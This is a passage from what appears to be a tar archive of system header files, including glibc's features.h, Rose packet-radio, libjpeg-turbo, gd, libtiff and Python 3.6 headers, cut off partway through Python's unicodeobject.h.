#endif #if defined _POSIX_C_SOURCE && (_POSIX_C_SOURCE - 0) >= 199506L # define __USE_POSIX199506 1 #endif #if defined _POSIX_C_SOURCE && (_POSIX_C_SOURCE - 0) >= 200112L # define __USE_XOPEN2K 1 # undef __USE_ISOC95 # define __USE_ISOC95 1 # undef __USE_ISOC99 # define __USE_ISOC99 1 #endif #if defined _POSIX_C_SOURCE && (_POSIX_C_SOURCE - 0) >= 200809L # define __USE_XOPEN2K8 1 # undef _ATFILE_SOURCE # define _ATFILE_SOURCE 1 #endif #ifdef _XOPEN_SOURCE # define __USE_XOPEN 1 # if (_XOPEN_SOURCE - 0) >= 500 # define __USE_XOPEN_EXTENDED 1 # define __USE_UNIX98 1 # undef _LARGEFILE_SOURCE # define _LARGEFILE_SOURCE 1 # if (_XOPEN_SOURCE - 0) >= 600 # if (_XOPEN_SOURCE - 0) >= 700 # define __USE_XOPEN2K8 1 # define __USE_XOPEN2K8XSI 1 # endif # define __USE_XOPEN2K 1 # define __USE_XOPEN2KXSI 1 # undef __USE_ISOC95 # define __USE_ISOC95 1 # undef __USE_ISOC99 # define __USE_ISOC99 1 # endif # else # ifdef _XOPEN_SOURCE_EXTENDED # define __USE_XOPEN_EXTENDED 1 # endif # endif #endif #ifdef _LARGEFILE_SOURCE # define __USE_LARGEFILE 1 #endif #ifdef _LARGEFILE64_SOURCE # define __USE_LARGEFILE64 1 #endif #if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64 # define __USE_FILE_OFFSET64 1 #endif #if defined _DEFAULT_SOURCE # define __USE_MISC 1 #endif #ifdef _ATFILE_SOURCE # define __USE_ATFILE 1 #endif #ifdef _GNU_SOURCE # define __USE_GNU 1 #endif #if defined _FORTIFY_SOURCE && _FORTIFY_SOURCE > 0 # if !defined __OPTIMIZE__ || __OPTIMIZE__ <= 0 # warning _FORTIFY_SOURCE requires compiling with optimization (-O) # elif !__GNUC_PREREQ (4, 1) # warning _FORTIFY_SOURCE requires GCC 4.1 or later # elif _FORTIFY_SOURCE > 2 && (__glibc_clang_prereq (9, 0) \ || __GNUC_PREREQ (12, 0)) # if _FORTIFY_SOURCE > 3 # warning _FORTIFY_SOURCE > 3 is treated like 3 on this platform # endif # define __USE_FORTIFY_LEVEL 3 # elif _FORTIFY_SOURCE > 1 # if _FORTIFY_SOURCE > 2 # warning _FORTIFY_SOURCE > 2 is treated like 2 on this platform # endif # define __USE_FORTIFY_LEVEL 2 # else # define __USE_FORTIFY_LEVEL 1 # endif #endif #ifndef __USE_FORTIFY_LEVEL # define __USE_FORTIFY_LEVEL 0 #endif /* The function 'gets' existed in C89, but is impossible to use safely. It has been removed from ISO C11 and ISO C++14. Note: for compatibility with various implementations of <cstdio>, this test must consider only the value of __cplusplus when compiling C++. */ #if defined __cplusplus ? __cplusplus >= 201402L : defined __USE_ISOC11 # define __GLIBC_USE_DEPRECATED_GETS 0 #else # define __GLIBC_USE_DEPRECATED_GETS 1 #endif /* Get definitions of __STDC_* predefined macros, if the compiler has not preincluded this header automatically. */ #include <stdc-predef.h> /* This macro indicates that the installed library is the GNU C Library. For historic reasons the value now is 6 and this will stay from now on. The use of this variable is deprecated. Use __GLIBC__ and __GLIBC_MINOR__ now (see below) when you want to test for a specific GNU C library version and use the values in <gnu/lib-names.h> to get the sonames of the shared libraries. */ #undef __GNU_LIBRARY__ #define __GNU_LIBRARY__ 6 /* Major and minor version number of the GNU C library package. Use these macros to test for features in specific releases. */ #define __GLIBC__ 2 #define __GLIBC_MINOR__ 28 #define __GLIBC_PREREQ(maj, min) \ ((__GLIBC__ << 16) + __GLIBC_MINOR__ >= ((maj) << 16) + (min)) /* This is here only because every header file already includes this one. */ #ifndef __ASSEMBLER__ # ifndef _SYS_CDEFS_H # include <sys/cdefs.h> # endif /* If we don't have __REDIRECT, prototypes will be missing if __USE_FILE_OFFSET64 but not __USE_LARGEFILE[64]. */ # if defined __USE_FILE_OFFSET64 && !defined __REDIRECT # define __USE_LARGEFILE 1 # define __USE_LARGEFILE64 1 # endif #endif /* !ASSEMBLER */ /* Decide whether we can define 'extern inline' functions in headers. */ #if __GNUC_PREREQ (2, 7) && defined __OPTIMIZE__ \ && !defined __OPTIMIZE_SIZE__ && !defined __NO_INLINE__ \ && defined __extern_inline # define __USE_EXTERN_INLINES 1 #endif /* This is here only because every header file already includes this one. Get the definitions of all the appropriate `__stub_FUNCTION' symbols. <gnu/stubs.h> contains `#define __stub_FUNCTION' when FUNCTION is a stub that will always return failure (and set errno to ENOSYS). */ #include <gnu/stubs.h> #endif /* features.h */ lastlog.h 0000644 00000000176 15246445047 0006401 0 ustar 00 /* This header file is used in 4.3BSD to define `struct lastlog', which we define in <bits/utmp.h>. */ #include <utmp.h> netrose/rose.h 0000644 00000006157 15246445047 0007370 0 ustar 00 /* Definitions for Rose packet radio address family. Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* What follows is copied from the 2.1.93 <linux/rose.h>. */ #ifndef _NETROSE_ROSE_H #define _NETROSE_ROSE_H 1 #include <sys/socket.h> #include <netax25/ax25.h> /* Socket level values. */ #define SOL_ROSE 260 /* These are the public elements of the Linux kernel Rose implementation. For kernel AX.25 see the file ax25.h. This file requires ax25.h for the definition of the ax25_address structure. */ #define ROSE_MTU 251 #define ROSE_MAX_DIGIS 6 #define ROSE_DEFER 1 #define ROSE_T1 2 #define ROSE_T2 3 #define ROSE_T3 4 #define ROSE_IDLE 5 #define ROSE_QBITINCL 6 #define ROSE_HOLDBACK 7 #define SIOCRSGCAUSE (SIOCPROTOPRIVATE + 0) #define SIOCRSSCAUSE (SIOCPROTOPRIVATE + 1) #define SIOCRSL2CALL (SIOCPROTOPRIVATE + 2) #define SIOCRSSL2CALL (SIOCPROTOPRIVATE + 2) #define SIOCRSACCEPT (SIOCPROTOPRIVATE + 3) #define SIOCRSCLRRT (SIOCPROTOPRIVATE + 4) #define SIOCRSGL2CALL (SIOCPROTOPRIVATE + 5) #define SIOCRSGFACILITIES (SIOCPROTOPRIVATE + 6) #define ROSE_DTE_ORIGINATED 0x00 #define ROSE_NUMBER_BUSY 0x01 #define ROSE_INVALID_FACILITY 0x03 #define ROSE_NETWORK_CONGESTION 0x05 #define ROSE_OUT_OF_ORDER 0x09 #define ROSE_ACCESS_BARRED 0x0B #define ROSE_NOT_OBTAINABLE 0x0D #define ROSE_REMOTE_PROCEDURE 0x11 #define ROSE_LOCAL_PROCEDURE 0x13 #define ROSE_SHIP_ABSENT 0x39 typedef struct { char rose_addr[5]; } rose_address; struct sockaddr_rose { sa_family_t srose_family; rose_address srose_addr; ax25_address srose_call; int srose_ndigis; ax25_address srose_digi; }; struct full_sockaddr_rose { sa_family_t srose_family; rose_address srose_addr; ax25_address srose_call; unsigned int srose_ndigis; ax25_address srose_digis[ROSE_MAX_DIGIS]; }; struct rose_route_struct { rose_address address; unsigned short int mask; ax25_address neighbour; char device[16]; unsigned char ndigis; ax25_address digipeaters[AX25_MAX_DIGIS]; }; struct rose_cause_struct { unsigned char cause; unsigned char diagnostic; }; struct rose_facilities_struct { rose_address source_addr, dest_addr; ax25_address source_call, dest_call; unsigned char source_ndigis, dest_ndigis; ax25_address source_digis[ROSE_MAX_DIGIS]; ax25_address dest_digis[ROSE_MAX_DIGIS]; unsigned int rand; rose_address fail_addr; ax25_address fail_call; }; #endif /* netrose/rose.h */ jpegint.h 0000644 00000036342 15246445047 0006400 0 ustar 00 /* * jpegint.h * * This file was part of the Independent JPEG Group's software: * Copyright (C) 1991-1997, Thomas G. Lane. * Modified 1997-2009 by Guido Vollbeding. * libjpeg-turbo Modifications: * Copyright (C) 2015-2016, D. R. Commander. * Copyright (C) 2015, Google, Inc. * For conditions of distribution and use, see the accompanying README.ijg * file. * * This file provides common declarations for the various JPEG modules. * These declarations are considered internal to the JPEG library; most * applications using the library shouldn't need to include this file. */ /* Declarations for both compression & decompression */ typedef enum { /* Operating modes for buffer controllers */ JBUF_PASS_THRU, /* Plain stripwise operation */ /* Remaining modes require a full-image buffer to have been created */ JBUF_SAVE_SOURCE, /* Run source subobject only, save output */ JBUF_CRANK_DEST, /* Run dest subobject only, using saved data */ JBUF_SAVE_AND_PASS /* Run both subobjects, save output */ } J_BUF_MODE; /* Values of global_state field (jdapi.c has some dependencies on ordering!) */ #define CSTATE_START 100 /* after create_compress */ #define CSTATE_SCANNING 101 /* start_compress done, write_scanlines OK */ #define CSTATE_RAW_OK 102 /* start_compress done, write_raw_data OK */ #define CSTATE_WRCOEFS 103 /* jpeg_write_coefficients done */ #define DSTATE_START 200 /* after create_decompress */ #define DSTATE_INHEADER 201 /* reading header markers, no SOS yet */ #define DSTATE_READY 202 /* found SOS, ready for start_decompress */ #define DSTATE_PRELOAD 203 /* reading multiscan file in start_decompress*/ #define DSTATE_PRESCAN 204 /* performing dummy pass for 2-pass quant */ #define DSTATE_SCANNING 205 /* start_decompress done, read_scanlines OK */ #define DSTATE_RAW_OK 206 /* start_decompress done, read_raw_data OK */ #define DSTATE_BUFIMAGE 207 /* expecting jpeg_start_output */ #define DSTATE_BUFPOST 208 /* looking for SOS/EOI in jpeg_finish_output */ #define DSTATE_RDCOEFS 209 /* reading file in jpeg_read_coefficients */ #define DSTATE_STOPPING 210 /* looking for EOI in jpeg_finish_decompress */ /* JLONG must hold at least signed 32-bit values. */ typedef long JLONG; /* * Left shift macro that handles a negative operand without causing any * sanitizer warnings */ #define LEFT_SHIFT(a, b) ((JLONG)((unsigned long)(a) << (b))) /* Declarations for compression modules */ /* Master control module */ struct jpeg_comp_master { void (*prepare_for_pass) (j_compress_ptr cinfo); void (*pass_startup) (j_compress_ptr cinfo); void (*finish_pass) (j_compress_ptr cinfo); /* State variables made visible to other modules */ boolean call_pass_startup; /* True if pass_startup must be called */ boolean is_last_pass; /* True during last pass */ }; /* Main buffer control (downsampled-data buffer) */ struct jpeg_c_main_controller { void (*start_pass) (j_compress_ptr cinfo, J_BUF_MODE pass_mode); void (*process_data) (j_compress_ptr cinfo, JSAMPARRAY input_buf, JDIMENSION *in_row_ctr, JDIMENSION in_rows_avail); }; /* Compression preprocessing (downsampling input buffer control) */ struct jpeg_c_prep_controller { void (*start_pass) (j_compress_ptr cinfo, J_BUF_MODE pass_mode); void (*pre_process_data) (j_compress_ptr cinfo, JSAMPARRAY input_buf, JDIMENSION *in_row_ctr, JDIMENSION in_rows_avail, JSAMPIMAGE output_buf, JDIMENSION *out_row_group_ctr, JDIMENSION out_row_groups_avail); }; /* Coefficient buffer control */ struct jpeg_c_coef_controller { void (*start_pass) (j_compress_ptr cinfo, J_BUF_MODE pass_mode); boolean (*compress_data) (j_compress_ptr cinfo, JSAMPIMAGE input_buf); }; /* Colorspace conversion */ struct jpeg_color_converter { void (*start_pass) (j_compress_ptr cinfo); void (*color_convert) (j_compress_ptr cinfo, JSAMPARRAY input_buf, JSAMPIMAGE output_buf, JDIMENSION output_row, int num_rows); }; /* Downsampling */ struct jpeg_downsampler { void (*start_pass) (j_compress_ptr cinfo); void (*downsample) (j_compress_ptr cinfo, JSAMPIMAGE input_buf, JDIMENSION in_row_index, JSAMPIMAGE output_buf, JDIMENSION out_row_group_index); boolean need_context_rows; /* TRUE if need rows above & below */ }; /* Forward DCT (also controls coefficient quantization) */ struct jpeg_forward_dct { void (*start_pass) (j_compress_ptr cinfo); /* perhaps this should be an array??? */ void (*forward_DCT) (j_compress_ptr cinfo, jpeg_component_info *compptr, JSAMPARRAY sample_data, JBLOCKROW coef_blocks, JDIMENSION start_row, JDIMENSION start_col, JDIMENSION num_blocks); }; /* Entropy encoding */ struct jpeg_entropy_encoder { void (*start_pass) (j_compress_ptr cinfo, boolean gather_statistics); boolean (*encode_mcu) (j_compress_ptr cinfo, JBLOCKROW *MCU_data); void (*finish_pass) (j_compress_ptr cinfo); }; /* Marker writing */ struct jpeg_marker_writer { void (*write_file_header) (j_compress_ptr cinfo); void (*write_frame_header) (j_compress_ptr cinfo); void (*write_scan_header) (j_compress_ptr cinfo); void (*write_file_trailer) (j_compress_ptr cinfo); void (*write_tables_only) (j_compress_ptr cinfo); /* These routines are exported to allow insertion of extra markers */ /* Probably only COM and APPn markers should be written this way */ void (*write_marker_header) (j_compress_ptr cinfo, int marker, unsigned int datalen); void (*write_marker_byte) (j_compress_ptr cinfo, int val); }; /* Declarations for decompression modules */ /* Master control module */ struct jpeg_decomp_master { void (*prepare_for_output_pass) (j_decompress_ptr cinfo); void (*finish_output_pass) (j_decompress_ptr cinfo); /* State variables made visible to other modules */ boolean is_dummy_pass; /* True during 1st pass for 2-pass quant */ /* Partial decompression variables */ JDIMENSION first_iMCU_col; JDIMENSION last_iMCU_col; JDIMENSION first_MCU_col[MAX_COMPONENTS]; JDIMENSION last_MCU_col[MAX_COMPONENTS]; boolean jinit_upsampler_no_alloc; }; /* Input control module */ struct jpeg_input_controller { int (*consume_input) (j_decompress_ptr cinfo); void (*reset_input_controller) (j_decompress_ptr cinfo); void (*start_input_pass) (j_decompress_ptr cinfo); void (*finish_input_pass) (j_decompress_ptr cinfo); /* State variables made visible to other modules */ boolean has_multiple_scans; /* True if file has multiple scans */ boolean eoi_reached; /* True when EOI has been consumed */ }; /* Main buffer control (downsampled-data buffer) */ struct jpeg_d_main_controller { void (*start_pass) (j_decompress_ptr cinfo, J_BUF_MODE pass_mode); void (*process_data) (j_decompress_ptr cinfo, JSAMPARRAY output_buf, JDIMENSION *out_row_ctr, JDIMENSION out_rows_avail); }; /* Coefficient buffer control */ struct jpeg_d_coef_controller { void (*start_input_pass) (j_decompress_ptr cinfo); int (*consume_data) (j_decompress_ptr cinfo); void (*start_output_pass) (j_decompress_ptr cinfo); int (*decompress_data) (j_decompress_ptr cinfo, JSAMPIMAGE output_buf); /* Pointer to array of coefficient virtual arrays, or NULL if none */ jvirt_barray_ptr *coef_arrays; }; /* Decompression postprocessing (color quantization buffer control) */ struct jpeg_d_post_controller { void (*start_pass) (j_decompress_ptr cinfo, J_BUF_MODE pass_mode); void (*post_process_data) (j_decompress_ptr cinfo, JSAMPIMAGE input_buf, JDIMENSION *in_row_group_ctr, JDIMENSION in_row_groups_avail, JSAMPARRAY output_buf, JDIMENSION *out_row_ctr, JDIMENSION out_rows_avail); }; /* Marker reading & parsing */ struct jpeg_marker_reader { void (*reset_marker_reader) (j_decompress_ptr cinfo); /* Read markers until SOS or EOI. * Returns same codes as are defined for jpeg_consume_input: * JPEG_SUSPENDED, JPEG_REACHED_SOS, or JPEG_REACHED_EOI. */ int (*read_markers) (j_decompress_ptr cinfo); /* Read a restart marker --- exported for use by entropy decoder only */ jpeg_marker_parser_method read_restart_marker; /* State of marker reader --- nominally internal, but applications * supplying COM or APPn handlers might like to know the state. */ boolean saw_SOI; /* found SOI? */ boolean saw_SOF; /* found SOF? */ int next_restart_num; /* next restart number expected (0-7) */ unsigned int discarded_bytes; /* # of bytes skipped looking for a marker */ }; /* Entropy decoding */ struct jpeg_entropy_decoder { void (*start_pass) (j_decompress_ptr cinfo); boolean (*decode_mcu) (j_decompress_ptr cinfo, JBLOCKROW *MCU_data); /* This is here to share code between baseline and progressive decoders; */ /* other modules probably should not use it */ boolean insufficient_data; /* set TRUE after emitting warning */ }; /* Inverse DCT (also performs dequantization) */ typedef void (*inverse_DCT_method_ptr) (j_decompress_ptr cinfo, jpeg_component_info *compptr, JCOEFPTR coef_block, JSAMPARRAY output_buf, JDIMENSION output_col); struct jpeg_inverse_dct { void (*start_pass) (j_decompress_ptr cinfo); /* It is useful to allow each component to have a separate IDCT method. */ inverse_DCT_method_ptr inverse_DCT[MAX_COMPONENTS]; }; /* Upsampling (note that upsampler must also call color converter) */ struct jpeg_upsampler { void (*start_pass) (j_decompress_ptr cinfo); void (*upsample) (j_decompress_ptr cinfo, JSAMPIMAGE input_buf, JDIMENSION *in_row_group_ctr, JDIMENSION in_row_groups_avail, JSAMPARRAY output_buf, JDIMENSION *out_row_ctr, JDIMENSION out_rows_avail); boolean need_context_rows; /* TRUE if need rows above & below */ }; /* Colorspace conversion */ struct jpeg_color_deconverter { void (*start_pass) (j_decompress_ptr cinfo); void (*color_convert) (j_decompress_ptr cinfo, JSAMPIMAGE input_buf, JDIMENSION input_row, JSAMPARRAY output_buf, int num_rows); }; /* Color quantization or color precision reduction */ struct jpeg_color_quantizer { void (*start_pass) (j_decompress_ptr cinfo, boolean is_pre_scan); void (*color_quantize) (j_decompress_ptr cinfo, JSAMPARRAY input_buf, JSAMPARRAY output_buf, int num_rows); void (*finish_pass) (j_decompress_ptr cinfo); void (*new_color_map) (j_decompress_ptr cinfo); }; /* Miscellaneous useful macros */ #undef MAX #define MAX(a,b) ((a) > (b) ? (a) : (b)) #undef MIN #define MIN(a,b) ((a) < (b) ? (a) : (b)) /* We assume that right shift corresponds to signed division by 2 with * rounding towards minus infinity. This is correct for typical "arithmetic * shift" instructions that shift in copies of the sign bit. But some * C compilers implement >> with an unsigned shift. For these machines you * must define RIGHT_SHIFT_IS_UNSIGNED. * RIGHT_SHIFT provides a proper signed right shift of a JLONG quantity. * It is only applied with constant shift counts. SHIFT_TEMPS must be * included in the variables of any routine using RIGHT_SHIFT. */ #ifdef RIGHT_SHIFT_IS_UNSIGNED #define SHIFT_TEMPS JLONG shift_temp; #define RIGHT_SHIFT(x,shft) \ ((shift_temp = (x)) < 0 ? \ (shift_temp >> (shft)) | ((~((JLONG) 0)) << (32-(shft))) : \ (shift_temp >> (shft))) #else #define SHIFT_TEMPS #define RIGHT_SHIFT(x,shft) ((x) >> (shft)) #endif /* Compression module initialization routines */ EXTERN(void) jinit_compress_master (j_compress_ptr cinfo); EXTERN(void) jinit_c_master_control (j_compress_ptr cinfo, boolean transcode_only); EXTERN(void) jinit_c_main_controller (j_compress_ptr cinfo, boolean need_full_buffer); EXTERN(void) jinit_c_prep_controller (j_compress_ptr cinfo, boolean need_full_buffer); EXTERN(void) jinit_c_coef_controller (j_compress_ptr cinfo, boolean need_full_buffer); EXTERN(void) jinit_color_converter (j_compress_ptr cinfo); EXTERN(void) jinit_downsampler (j_compress_ptr cinfo); EXTERN(void) jinit_forward_dct (j_compress_ptr cinfo); EXTERN(void) jinit_huff_encoder (j_compress_ptr cinfo); EXTERN(void) jinit_phuff_encoder (j_compress_ptr cinfo); EXTERN(void) jinit_arith_encoder (j_compress_ptr cinfo); EXTERN(void) jinit_marker_writer (j_compress_ptr cinfo); /* Decompression module initialization routines */ EXTERN(void) jinit_master_decompress (j_decompress_ptr cinfo); EXTERN(void) jinit_d_main_controller (j_decompress_ptr cinfo, boolean need_full_buffer); EXTERN(void) jinit_d_coef_controller (j_decompress_ptr cinfo, boolean need_full_buffer); EXTERN(void) jinit_d_post_controller (j_decompress_ptr cinfo, boolean need_full_buffer); EXTERN(void) jinit_input_controller (j_decompress_ptr cinfo); EXTERN(void) jinit_marker_reader (j_decompress_ptr cinfo); EXTERN(void) jinit_huff_decoder (j_decompress_ptr cinfo); EXTERN(void) jinit_phuff_decoder (j_decompress_ptr cinfo); EXTERN(void) jinit_arith_decoder (j_decompress_ptr cinfo); EXTERN(void) jinit_inverse_dct (j_decompress_ptr cinfo); EXTERN(void) jinit_upsampler (j_decompress_ptr cinfo); EXTERN(void) jinit_color_deconverter (j_decompress_ptr cinfo); EXTERN(void) jinit_1pass_quantizer (j_decompress_ptr cinfo); EXTERN(void) jinit_2pass_quantizer (j_decompress_ptr cinfo); EXTERN(void) jinit_merged_upsampler (j_decompress_ptr cinfo); /* Memory manager initialization */ EXTERN(void) jinit_memory_mgr (j_common_ptr cinfo); /* Utility routines in jutils.c */ EXTERN(long) jdiv_round_up (long a, long b); EXTERN(long) jround_up (long a, long b); EXTERN(void) jcopy_sample_rows (JSAMPARRAY input_array, int source_row, JSAMPARRAY output_array, int dest_row, int num_rows, JDIMENSION num_cols); EXTERN(void) jcopy_block_row (JBLOCKROW input_row, JBLOCKROW output_row, JDIMENSION num_blocks); EXTERN(void) jzero_far (void *target, size_t bytestozero); /* Constant tables in jutils.c */ #if 0 /* This table is not actually needed in v6a */ extern const int jpeg_zigzag_order[]; /* natural coef order to zigzag order */ #endif extern const int jpeg_natural_order[]; /* zigzag coef order to natural order */ /* Arithmetic coding probability estimation tables in jaricom.c */ extern const JLONG jpeg_aritab[]; /* Suppress undefined-structure complaints if necessary. */ #ifdef INCOMPLETE_TYPES_BROKEN #ifndef AM_MEMORY_MANAGER /* only jmemmgr.c defines these */ struct jvirt_sarray_control { long dummy; }; struct jvirt_barray_control { long dummy; }; #endif #endif /* INCOMPLETE_TYPES_BROKEN */ gdfonts.h 0000644 00000001003 15246445047 0006366 0 ustar 00 #ifndef _GDFONTS_H_ #define _GDFONTS_H_ 1 #ifdef __cplusplus extern "C" { #endif /* This is a header file for gd font, generated using bdftogd version 0.5 by Jan Pazdziora, adelton@fi.muni.cz from bdf font -misc-fixed-medium-r-semicondensed-sans-12-116-75-75-c-60-iso8859-2 at Thu Jan 8 14:13:20 1998. No copyright info was found in the original bdf. */ #include "gd.h" extern BGD_EXPORT_DATA_PROT gdFontPtr gdFontSmall; BGD_DECLARE(gdFontPtr) gdFontGetSmall(void); #ifdef __cplusplus } #endif #endif tiffio.hxx 0000644 00000003246 15246445047 0006575 0 ustar 00 /* $Id: tiffio.hxx,v 1.3 2010-06-08 18:55:15 bfriesen Exp $ */ /* * Copyright (c) 1988-1997 Sam Leffler * Copyright (c) 1991-1997 Silicon Graphics, Inc. * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #ifndef _TIFFIO_HXX_ #define _TIFFIO_HXX_ /* * TIFF I/O library definitions which provide C++ streams API. */ #include <iostream> #include "tiff.h" extern TIFF* TIFFStreamOpen(const char*, std::ostream *); extern TIFF* TIFFStreamOpen(const char*, std::istream *); #endif /* _TIFFIO_HXX_ */ /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c++ * c-basic-offset: 8 * fill-column: 78 * End: */ python3.6m/cellobject.h 0000644 00000001275 15246445047 0010770 0 ustar 00 /* Cell object interface */ #ifndef Py_LIMITED_API #ifndef Py_CELLOBJECT_H #define Py_CELLOBJECT_H #ifdef __cplusplus extern "C" { #endif typedef struct { PyObject_HEAD PyObject *ob_ref; /* Content of the cell or NULL when empty */ } PyCellObject; PyAPI_DATA(PyTypeObject) PyCell_Type; #define PyCell_Check(op) (Py_TYPE(op) == &PyCell_Type) PyAPI_FUNC(PyObject *) PyCell_New(PyObject *); PyAPI_FUNC(PyObject *) PyCell_Get(PyObject *); PyAPI_FUNC(int) PyCell_Set(PyObject *, PyObject *); #define PyCell_GET(op) (((PyCellObject *)(op))->ob_ref) #define PyCell_SET(op, v) (((PyCellObject *)(op))->ob_ref = v) #ifdef __cplusplus } #endif #endif /* !Py_TUPLEOBJECT_H */ #endif /* Py_LIMITED_API */ python3.6m/unicodeobject.h 0000644 00000237563 15246445047 0011512 0 ustar 00 #ifndef Py_UNICODEOBJECT_H #define Py_UNICODEOBJECT_H #include <stdarg.h> /* Unicode implementation based on original code by Fredrik Lundh, modified by Marc-Andre Lemburg (mal@lemburg.com) according to the Unicode Integration Proposal. (See http://www.egenix.com/files/python/unicode-proposal.txt). Copyright (c) Corporation for National Research Initiatives. Original header: -------------------------------------------------------------------- * Yet another Unicode string type for Python. This type supports the * 16-bit Basic Multilingual Plane (BMP) only. * * Written by Fredrik Lundh, January 1999. * * Copyright (c) 1999 by Secret Labs AB. * Copyright (c) 1999 by Fredrik Lundh. * * fredrik@pythonware.com * http://www.pythonware.com * * -------------------------------------------------------------------- * This Unicode String Type is * * Copyright (c) 1999 by Secret Labs AB * Copyright (c) 1999 by Fredrik Lundh * * By obtaining, using, and/or copying this software and/or its * associated documentation, you agree that you have read, understood, * and will comply with the following terms and conditions: * * Permission to use, copy, modify, and distribute this software and its * associated documentation for any purpose and without fee is hereby * granted, provided that the above copyright notice appears in all * copies, and that both that copyright notice and this permission notice * appear in supporting documentation, and that the name of Secret Labs * AB or the author not be used in advertising or publicity pertaining to * distribution of the software without specific, written prior * permission. * * SECRET LABS AB AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO * THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND * FITNESS. IN NO EVENT SHALL SECRET LABS AB OR THE AUTHOR BE LIABLE FOR * ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * -------------------------------------------------------------------- */ #include <ctype.h> /* === Internal API ======================================================= */ /* --- Internal Unicode Format -------------------------------------------- */ /* Python 3.x requires unicode */ #define Py_USING_UNICODE #ifndef SIZEOF_WCHAR_T #error Must define SIZEOF_WCHAR_T #endif #define Py_UNICODE_SIZE SIZEOF_WCHAR_T /* If wchar_t can be used for UCS-4 storage, set Py_UNICODE_WIDE. Otherwise, Unicode strings are stored as UCS-2 (with limited support for UTF-16) */ #if Py_UNICODE_SIZE >= 4 #define Py_UNICODE_WIDE #endif /* Set these flags if the platform has "wchar.h" and the wchar_t type is a 16-bit unsigned type */ /* #define HAVE_WCHAR_H */ /* #define HAVE_USABLE_WCHAR_T */ /* Py_UNICODE was the native Unicode storage format (code unit) used by Python and represents a single Unicode element in the Unicode type. With PEP 393, Py_UNICODE is deprecated and replaced with a typedef to wchar_t. */ #ifndef Py_LIMITED_API #define PY_UNICODE_TYPE wchar_t typedef wchar_t Py_UNICODE; #endif /* If the compiler provides a wchar_t type we try to support it through the interface functions PyUnicode_FromWideChar(), PyUnicode_AsWideChar() and PyUnicode_AsWideCharString(). */ #ifdef HAVE_USABLE_WCHAR_T # ifndef HAVE_WCHAR_H # define HAVE_WCHAR_H # endif #endif #ifdef HAVE_WCHAR_H /* Work around a cosmetic bug in BSDI 4.x wchar.h; thanks to Thomas Wouters */ # ifdef _HAVE_BSDI # include <time.h> # endif # include <wchar.h> #endif /* Py_UCS4 and Py_UCS2 are typedefs for the respective unicode representations. */ typedef uint32_t Py_UCS4; typedef uint16_t Py_UCS2; typedef uint8_t Py_UCS1; /* --- Internal Unicode Operations ---------------------------------------- */ /* Since splitting on whitespace is an important use case, and whitespace in most situations is solely ASCII whitespace, we optimize for the common case by using a quick look-up table _Py_ascii_whitespace (see below) with an inlined check. */ #ifndef Py_LIMITED_API #define Py_UNICODE_ISSPACE(ch) \ ((ch) < 128U ? _Py_ascii_whitespace[(ch)] : _PyUnicode_IsWhitespace(ch)) #define Py_UNICODE_ISLOWER(ch) _PyUnicode_IsLowercase(ch) #define Py_UNICODE_ISUPPER(ch) _PyUnicode_IsUppercase(ch) #define Py_UNICODE_ISTITLE(ch) _PyUnicode_IsTitlecase(ch) #define Py_UNICODE_ISLINEBREAK(ch) _PyUnicode_IsLinebreak(ch) #define Py_UNICODE_TOLOWER(ch) _PyUnicode_ToLowercase(ch) #define Py_UNICODE_TOUPPER(ch) _PyUnicode_ToUppercase(ch) #define Py_UNICODE_TOTITLE(ch) _PyUnicode_ToTitlecase(ch) #define Py_UNICODE_ISDECIMAL(ch) _PyUnicode_IsDecimalDigit(ch) #define Py_UNICODE_ISDIGIT(ch) _PyUnicode_IsDigit(ch) #define Py_UNICODE_ISNUMERIC(ch) _PyUnicode_IsNumeric(ch) #define Py_UNICODE_ISPRINTABLE(ch) _PyUnicode_IsPrintable(ch) #define Py_UNICODE_TODECIMAL(ch) _PyUnicode_ToDecimalDigit(ch) #define Py_UNICODE_TODIGIT(ch) _PyUnicode_ToDigit(ch) #define Py_UNICODE_TONUMERIC(ch) _PyUnicode_ToNumeric(ch) #define Py_UNICODE_ISALPHA(ch) _PyUnicode_IsAlpha(ch) #define Py_UNICODE_ISALNUM(ch) \ (Py_UNICODE_ISALPHA(ch) || \ Py_UNICODE_ISDECIMAL(ch) || \ Py_UNICODE_ISDIGIT(ch) || \ Py_UNICODE_ISNUMERIC(ch)) #define Py_UNICODE_COPY(target, source, length) \ memcpy((target), (source), (length)*sizeof(Py_UNICODE)) #define Py_UNICODE_FILL(target, value, length) \ 